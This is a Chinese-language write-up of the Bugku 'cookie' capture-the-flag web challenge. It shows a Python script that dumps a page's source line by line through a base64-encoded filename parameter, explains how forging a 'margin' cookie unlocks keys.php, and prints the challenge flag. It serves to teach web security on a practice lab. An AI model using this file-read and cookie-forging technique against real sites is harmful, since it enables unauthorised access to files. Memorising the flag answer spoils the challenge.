Bugku-cookie

发布时间:2023年12月21日

Bugku-cookie

目录

题目描述

cookie

时间:2023年9月9日

类型:Web cookie base64

WP

提取信息

发现get传参给变量filename了一个base64加密数据,解码后为key.txt,将字符串“index.php”base64编码后传给filename变量,再改变line的值来遍历主页源码,编写简易脚本跑一下

import requests

content = ""
for i in range(20):
    res = requests.get(f"http://114.67.175.224:10668/index.php?line={i}&filename=aW5kZXgucGhw")
    content += res.content.decode()
print(content)

得到源码

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
 
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
 
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
代码分析
  • 页面读取是先用了base64 decode再访问的,同时还会检查该页面在不在访问列表中。所以我们要将要访问的页面进行base64编码之后再传参,同时要注意访问文件是否在访问列表中
  • 当获取到cookie margin为’margin’时,会将keys.php页面放入到访问列表中

所以我们需要构造一个 cookie,使我们有访问keys.php的权限,再将keys.php进行base64编码为a2V5cy5waHA=

得到flag

flag{19094366b35e73f3bbd691ce7eab7a1c}

在这里插入图片描述

总结

文章来源:https://blog.csdn.net/qq_51979295/article/details/132776602
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。